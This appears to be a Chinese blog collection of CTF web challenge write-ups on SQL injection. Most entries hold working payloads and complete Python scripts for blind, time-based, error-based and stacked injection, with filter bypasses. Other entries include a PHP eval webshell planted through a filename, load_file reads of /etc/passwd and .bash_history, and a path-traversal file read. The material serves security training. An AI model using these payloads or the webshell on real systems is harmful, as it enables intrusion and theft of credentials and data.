[SWPU2019]Web1

二次注入,注入点id藏得挺好。
过滤了空格,可以用/**/绕过,过滤了注释符可以直接闭合。
过滤了or,查表和列时可以用mysql.innodb_table_stats代替information_schema
payload:

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

然后进行无列名注入:

select b from (select 1,2,3 as b,4,5 union select * from users)a;

末尾的 a 可以是任意字符,用于命名。
最后的payload:

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[CISCN2019 总决赛 Day2 Web1]Easyweb

扫一下找到源码,尝试绕过。
传入\\0,第一个\会被识别为转义符,会转义变成\\0,再被addslashes处理成为\0,最后被替换为空变成\ 转义了后面的id后面的(\')
payload:

?id=\\0&path=or if(length(database())>1,1,-1)%23

上脚本

import time
import requests
import sys
import string
import logging

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target="url/image.php?id=\\0'&path=or "
#库名
#dataStr="(database())"
#表名
#dataStr="(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())"
#列名
dataStr="(select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273)"
#数据
#dataStr="(select(group_concat(username,password))from(users))"
def binaryTest(i,cu,comparer):
    payloads='ascii(substr({},{},1)){comparer}{}%23'
    s=requests.get(target+payloads.format(dataStr,i,cu,comparer=comparer))
    if 'JFIF' in s.text:
        return True
    else:
        return False

def searchFriends_sqli(i):
    l = 0
    r = 255
    while (l <= r):
        cu = (l + r) // 2
        if (binaryTest(i, cu, "<")):
            r = cu - 1
        elif (binaryTest(i, cu, ">")):
            l = cu + 1
        elif (cu == 0):
            return None
        else:
            return chr(cu)

def main():
    print("start")
    finres=""
    i=1
    while (True):
        extracted_char = searchFriends_sqli(i)
        if (extracted_char == None):
            break
        finres += extracted_char
        i += 1
        print("(+) 当前结果:"+finres)
    print("(+) 运行完成,结果为:", finres)

if __name__=="__main__":
    main()

单引号被ban的时候查表名列名用十六进制绕过。
登进去后要传马,php被ban,这里用phtml,
发现文件名出现在log中,可以直接把马写在文件名里:

filename=<?= @eval($_POST[hack]);?>

蚁剑连一下就ok了。

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

先用伪协议读一下源码。
发现address没有经过正则过滤只是处理了单引号,
但可以直接查看,这就形成了二次注入。
可以直接用报错注入带出来flag:

' and updatexml(1,concat(1,(select substr(load_file('/flag.txt'),1,32)),1),1)#

substr分段截取即可。

[网鼎杯 2018]Comment

密码隐藏后三位,可以直接爆破。
存在/.git,但是有残缺需要恢复(这种事不应该扔给misc来搞吗)
先查一下之前的版本:

git log --all

然后

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

把指针指到最初提交的版本,
得到源码。
审计发现存入category数据库时有addslashes()处理,但是直接拿出来的,这就造成了二次注入的可能。
payload:

a',content=(select (load_file('/etc/passwd'))),/*
a',content=(select (load_file('/home/www/.bash_history'))),/*
a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

[RCTF2015]EasySQL

有修改密码功能,把username取出来的时候存在二次注入,因为有报错的回显,这里采用报错注入。
payload:

a"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

输出有长度限制,可以先用正则匹配一下我们想看的字段

a"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

长度还是不够,就用resever逆序输出一下

a"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#

最后拼接即可。

[GYCTF2020]Ezsqli

or被过滤,这里用的sys.schema_table_statistics_with_buffer库来绕过。
参考链接
join被过滤,这里用一种新的无列名注入方式

(select 'admin','admin')>(select * from users limit 1)

其原理是MySQL在比较两个select字符串时是按位比的,所以这里用两个select语句进行比较
用Y1ng师傅的payload:

'''
Author: 颖奇L'Amore
Blog: www.gem-love.com
本文链接: https://www.gem-love.com/ctf/1669.html
'''
import requests
url = 'http://fd871d2e-cc2a-4f0b-878d-385ed4d11981.node3.buuoj.cn/'

def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
    hexchar = ''
    for char in range(32, 126):
        hexchar = trans(flag+ chr(char))
        payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        data = {
                'id':payload
                }
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break

[NCTF2019]SQLi

给了SQL语句,单引号被过滤,用\转义第一个单引号,最后的用%00截断。
or也被过滤,知道的列名可以直接用regexp逐字符匹配。
payload:

username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00

最后的脚本(来自Arnoldqqq):

import string
import requests
from urllib import parse
passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://15f12b34-dce6-486a-8fce-2bb86508c417.node3.buuoj.cn/index.php'
for n in range(100):
    for m in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
        }
        res = requests.post(url,data=data)
        if 'welcome' in res.text:
            passwd += m
            print(m)
            break
    if m=='_' and 'welcome' not in res.text:
        break
print(passwd)

[网鼎杯2018]Unfinish

不知道为什么网上都用的double hex绕过,直接ascii不行吗。。。
记录一下:

'0' + hex(database()) + '0' 会因为16进制强制转化为字符型产生截断
'0' + hex(hex(database())) + '0 ' 确保hex后都是数字,但是字符串长度过长变成科学计数法导致数据丢失
'0' + substr(hex(hex(database())),1,10) + '0' 每次用substr截取10个字符进行相加
'0' + substr(hex(hex(database())) from 1 for 10) + '0' 过滤了逗号用from for绕过

需要爬虫爬一下回显的16进制数字然后恢复,payload来自于zhengna师傅

import requests
import time
from bs4 import BeautifulSoup       #html解析器

def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database

def getFlag():
    flag = ''
    for i in range(40):
        data_flag = {
            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_flag)
        login_data={
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag

print(getDatabase())
print(getFlag())

[SWPU2019]Web4

开局登录框,没有源码,大概是要注入了。
注入单引号返回500,但加分号能返回200,可能存在堆叠注入。
关于PDO的预编译:

PDO分为模拟预处理和非模拟预处理。
模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。

非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。

如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

在模拟预处理情况下可能存在堆叠注入和报错注入,
在非模拟预处理情况下可能存在报错注入。参考文献
题目过滤了select,可以用预编译绕过,思路有两种:

1.参考强网杯的随便注,使用CONCAT实现字符串拼接。
2.本题直接用十六进制绕过了(十六进制yyds)。
payload:
#author: c1e4r
import requests
import json
import time

def main():
    #题目地址
    url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
    #注入payload
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

爆出来源码的文件名glzjin_wants_a_girl_friend.zip
打开之后是一个MVC,在BaseController中发现变量覆盖漏洞。

    public function loadView($viewName ='', $viewData = [])
    {
        $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
        if(file_exists($this->viewPath))
        {
            extract($viewData);
            include $this->viewPath;
        }
    }

又找到一个viewData可控的位置

/Controller/UserController.php
public function actionIndex()
{
    $listData = $_REQUEST;
    $this->loadView('userIndex',$listData);
}

UserController对应控制的是user中的文件,在/View/userIndex.php中发现文件读取。

payload:
index.php?r=User/Index&img_file=/…/flag.php

标签: none

添加新评论